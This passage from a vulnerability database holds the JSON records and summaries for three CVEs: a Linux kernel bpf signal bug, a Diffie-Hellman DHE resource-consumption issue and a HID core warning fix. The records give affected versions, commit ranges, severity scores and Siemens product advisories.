          "dateUpdated": "2025-11-03T19:36:33.364Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:31.992Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "kernel/trace/bpf_trace.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "feba1308bc5e8e04cee751d39fae8a9b407a9034",
              "status": "affected",
              "version": "fd29a0242f86b2d95ad666aa9f92a3d0f7bfdab6",
              "versionType": "git"
            },
            {
              "lessThan": "ce51eab2070e295d298f42a2f1db269cd1b56d55",
              "status": "affected",
              "version": "1bc7896e9ef44fd77858b3ef0b8a6840be3a4494",
              "versionType": "git"
            },
            {
              "lessThan": "e306eaaa3d78b462db5f5b11e0171f9d2b6ca3f4",
              "status": "affected",
              "version": "1bc7896e9ef44fd77858b3ef0b8a6840be3a4494",
              "versionType": "git"
            },
            {
              "lessThan": "be42a09fe898635b0093c0c8dac1bfabe225c240",
              "status": "affected",
              "version": "1bc7896e9ef44fd77858b3ef0b8a6840be3a4494",
              "versionType": "git"
            },
            {
              "lessThan": "eeef8e65041a031bd8a747a392c14b76a123a12c",
              "status": "affected",
              "version": "1bc7896e9ef44fd77858b3ef0b8a6840be3a4494",
              "versionType": "git"
            },
            {
              "lessThan": "78b97783496b454435639937db3303e900a24d3f",
              "status": "affected",
              "version": "1bc7896e9ef44fd77858b3ef0b8a6840be3a4494",
              "versionType": "git"
            },
            {
              "lessThan": "092fc76b7ab4163e008f9cde596a58dad2108260",
              "status": "affected",
              "version": "1bc7896e9ef44fd77858b3ef0b8a6840be3a4494",
              "versionType": "git"
            },
            {
              "lessThan": "87c544108b612512b254c8f79aa5c0a8546e2cc4",
              "status": "affected",
              "version": "1bc7896e9ef44fd77858b3ef0b8a6840be3a4494",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "7930d01afb7281edd9782971e0cca6fe587c7a7b",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "kernel/trace/bpf_trace.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.6"
            },
            {
              "lessThan": "5.6",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.76",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "5.4.33",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.76",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.13",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.2",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.5.18",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Send signals asynchronously if !preemptible\n\nBPF programs can execute in all kinds of contexts and when a program\nrunning in a non-preemptible context uses the bpf_send_signal() kfunc,\nit will cause issues because this kfunc can sleep.\nChange `irqs_disabled()` to `!preemptible()`."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:05:16.880Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/feba1308bc5e8e04cee751d39fae8a9b407a9034"
        },
        {
          "url": "https://git.kernel.org/stable/c/ce51eab2070e295d298f42a2f1db269cd1b56d55"
        },
        {
          "url": "https://git.kernel.org/stable/c/e306eaaa3d78b462db5f5b11e0171f9d2b6ca3f4"
        },
        {
          "url": "https://git.kernel.org/stable/c/be42a09fe898635b0093c0c8dac1bfabe225c240"
        },
        {
          "url": "https://git.kernel.org/stable/c/eeef8e65041a031bd8a747a392c14b76a123a12c"
        },
        {
          "url": "https://git.kernel.org/stable/c/78b97783496b454435639937db3303e900a24d3f"
        },
        {
          "url": "https://git.kernel.org/stable/c/092fc76b7ab4163e008f9cde596a58dad2108260"
        },
        {
          "url": "https://git.kernel.org/stable/c/87c544108b612512b254c8f79aa5c0a8546e2cc4"
        }
      ],
      "title": "bpf: Send signals asynchronously if !preemptible",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21728",
    "datePublished": "2025-02-27T02:07:34.114Z",
    "dateReserved": "2024-12-29T08:45:45.755Z",
    "dateUpdated": "2026-05-12T12:03:31.992Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-41996 (GCVE-0-2024-41996)

Vulnerability from cvelistv5 – Published: 2024-08-26 00:00 – Updated: 2026-05-12 11:56

Summary

Validating the order of the public keys in the Diffie-Hellman Key Agreement Protocol, when an approved safe prime is used, allows remote attackers (from the client side) to trigger unnecessarily expensive server-side DHE modular-exponentiation calculations. The client may cause asymmetric resource consumption. The basic attack scenario is that the client must claim that it can only communicate with DHE, and the server must be configured to allow DHE and validate the order of the public key.

Severity ?

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

Assigner

mitre

References

3 references

URL	Tags
https://gist.github.com/c0r0n3r/abccc14d4d96c0442…
https://dheatattack.gitlab.io/details/
https://dheatattack.gitlab.io/faq/

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:diffie-hellman_key_exchange_project:diffie-hellman_key_exchange:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "diffie-hellman_key_exchange",
            "vendor": "diffie-hellman_key_exchange_project",
            "versions": [
              {
                "lessThanOrEqual": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 7.5,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-41996",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-08-26T15:15:18.339789Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-295",
                "description": "CWE-295 Improper Certificate Validation",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-08-26T15:17:29.404Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCH328",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM324",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM328",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM332",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XRH334 (24 V DC, 8xFO, CC)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XRM334 (230 V AC, 12xFO)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XRM334 (230 V AC, 8xFO)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XRM334 (230V AC, 2x10G, 24xSFP, 8xSFP+)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XRM334 (24 V DC, 12xFO)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XRM334 (24 V DC, 8xFO)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XRM334 (24V DC, 2x10G, 24xSFP, 8xSFP+)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XRM334 (2x230 V AC, 12xFO)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XRM334 (2x230 V AC, 8xFO)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XRM334 (2x230V AC, 2x10G, 24xSFP, 8xSFP+)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIDIS Prime",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V4.0.800",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:15.083Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-089022.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-485750.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Validating the order of the public keys in the Diffie-Hellman Key Agreement Protocol, when an approved safe prime is used, allows remote attackers (from the client side) to trigger unnecessarily expensive server-side DHE modular-exponentiation calculations. The client may cause asymmetric resource consumption. The basic attack scenario is that the client must claim that it can only communicate with DHE, and the server must be configured to allow DHE and validate the order of the public key."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "n/a",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-08-26T05:59:37.163Z",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "url": "https://gist.github.com/c0r0n3r/abccc14d4d96c0442f3a77fa5ca255d1"
        },
        {
          "url": "https://dheatattack.gitlab.io/details/"
        },
        {
          "url": "https://dheatattack.gitlab.io/faq/"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2024-41996",
    "datePublished": "2024-08-26T00:00:00.000Z",
    "dateReserved": "2024-07-26T00:00:00.000Z",
    "dateUpdated": "2026-05-12T11:56:15.083Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-39509 (GCVE-0-2024-39509)

Vulnerability from cvelistv5 – Published: 2024-07-12 12:20 – Updated: 2026-05-12 11:55

Title

HID: core: remove unnecessary WARN_ON() in implement()

Summary

In the Linux kernel, the following vulnerability has been resolved: HID: core: remove unnecessary WARN_ON() in implement() Syzkaller hit a warning [1] in a call to implement() when trying to write a value into a field of smaller size in an output report. Since implement() already has a warn message printed out with the help of hid_warn() and value in question gets trimmed with: ... value &= m; ... WARN_ON may be considered superfluous. Remove it to suppress future syzkaller triggers. [1] WARNING: CPU: 0 PID: 5084 at drivers/hid/hid-core.c:1451 implement drivers/hid/hid-core.c:1451 [inline] WARNING: CPU: 0 PID: 5084 at drivers/hid/hid-core.c:1451 hid_output_report+0x548/0x760 drivers/hid/hid-core.c:1863 Modules linked in: CPU: 0 PID: 5084 Comm: syz-executor424 Not tainted 6.9.0-rc7-syzkaller-00183-gcf87f46fd34d #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 04/02/2024 RIP: 0010:implement drivers/hid/hid-core.c:1451 [inline] RIP: 0010:hid_output_report+0x548/0x760 drivers/hid/hid-core.c:1863 ... Call Trace: <TASK> __usbhid_submit_report drivers/hid/usbhid/hid-core.c:591 [inline] usbhid_submit_report+0x43d/0x9e0 drivers/hid/usbhid/hid-core.c:636 hiddev_ioctl+0x138b/0x1f00 drivers/hid/usbhid/hiddev.c:726 vfs_ioctl fs/ioctl.c:51 [inline] __do_sys_ioctl fs/ioctl.c:904 [inline] __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:890 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf5/0x240 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f ...

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/955b3764671f3f157…
https://git.kernel.org/stable/c/f9db5fbeffb951cac…
https://git.kernel.org/stable/c/33f6832798dd32973…
https://git.kernel.org/stable/c/8bac61934cd563b07…
https://git.kernel.org/stable/c/bfd546fc7fd76076f…
https://git.kernel.org/stable/c/30f76bc468b9b2cbb…
https://git.kernel.org/stable/c/655c6de2f215b61d0…
https://git.kernel.org/stable/c/4aa2dcfbad538adf7…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 95d1c8951e5bd50bb89654a99a7012b1e75646bd , < 955b3764671f3f157215194972d9c01a3a4bd316 (git) Affected: 95d1c8951e5bd50bb89654a99a7012b1e75646bd , < f9db5fbeffb951cac3f0fb1c2eeffb79785399ca (git) Affected: 95d1c8951e5bd50bb89654a99a7012b1e75646bd , < 33f6832798dd3297317901cc1db556ac3ae80c24 (git) Affected: 95d1c8951e5bd50bb89654a99a7012b1e75646bd , < 8bac61934cd563b073cd30b8cf6d5c758ab5ab26 (git) Affected: 95d1c8951e5bd50bb89654a99a7012b1e75646bd , < bfd546fc7fd76076f81bf41b85b51ceda30949fd (git) Affected: 95d1c8951e5bd50bb89654a99a7012b1e75646bd , < 30f76bc468b9b2cbbd5d3eb482661e3e4798893f (git) Affected: 95d1c8951e5bd50bb89654a99a7012b1e75646bd , < 655c6de2f215b61d0708db6b06305eee9bbfeba2 (git) Affected: 95d1c8951e5bd50bb89654a99a7012b1e75646bd , < 4aa2dcfbad538adf7becd0034a3754e1bd01b2b5 (git)
Linux	Linux	Affected: 4.7 Unaffected: 0 , < 4.7 (semver) Unaffected: 4.19.317 , ≤ 4.19.* (semver) Unaffected: 5.4.279 , ≤ 5.4.* (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.95 , ≤ 6.1.* (semver) Unaffected: 6.6.35 , ≤ 6.6.* (semver) Unaffected: 6.9.6 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:56:29.387Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/955b3764671f3f157215194972d9c01a3a4bd316"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f9db5fbeffb951cac3f0fb1c2eeffb79785399ca"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/33f6832798dd3297317901cc1db556ac3ae80c24"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8bac61934cd563b073cd30b8cf6d5c758ab5ab26"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/bfd546fc7fd76076f81bf41b85b51ceda30949fd"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/30f76bc468b9b2cbbd5d3eb482661e3e4798893f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/655c6de2f215b61d0708db6b06305eee9bbfeba2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4aa2dcfbad538adf7becd0034a3754e1bd01b2b5"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-39509",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:06:44.616328Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:39.031Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:55:37.708Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/hid/hid-core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "955b3764671f3f157215194972d9c01a3a4bd316",
              "status": "affected",
              "version": "95d1c8951e5bd50bb89654a99a7012b1e75646bd",
              "versionType": "git"
            },
            {
              "lessThan": "f9db5fbeffb951cac3f0fb1c2eeffb79785399ca",
              "status": "affected",
              "version": "95d1c8951e5bd50bb89654a99a7012b1e75646bd",
              "versionType": "git"
            },
            {
              "lessThan": "33f6832798dd3297317901cc1db556ac3ae80c24",
              "status": "affected",
              "version": "95d1c8951e5bd50bb89654a99a7012b1e75646bd",
              "versionType": "git"
            },
            {
              "lessThan": "8bac61934cd563b073cd30b8cf6d5c758ab5ab26",
              "status": "affected",
              "version": "95d1c8951e5bd50bb89654a99a7012b1e75646bd",
              "versionType": "git"
            },
            {
              "lessThan": "bfd546fc7fd76076f81bf41b85b51ceda30949fd",
              "status": "affected",
              "version": "95d1c8951e5bd50bb89654a99a7012b1e75646bd",
              "versionType": "git"
            },
            {
              "lessThan": "30f76bc468b9b2cbbd5d3eb482661e3e4798893f",
              "status": "affected",
              "version": "95d1c8951e5bd50bb89654a99a7012b1e75646bd",
              "versionType": "git"
            },
            {
              "lessThan": "655c6de2f215b61d0708db6b06305eee9bbfeba2",
              "status": "affected",
              "version": "95d1c8951e5bd50bb89654a99a7012b1e75646bd",
              "versionType": "git"
            },
            {
              "lessThan": "4aa2dcfbad538adf7becd0034a3754e1bd01b2b5",
              "status": "affected",
              "version": "95d1c8951e5bd50bb89654a99a7012b1e75646bd",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/hid/hid-core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.7"
            },
            {
              "lessThan": "4.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.317",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.279",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.95",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.35",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.317",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.279",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "4.7",
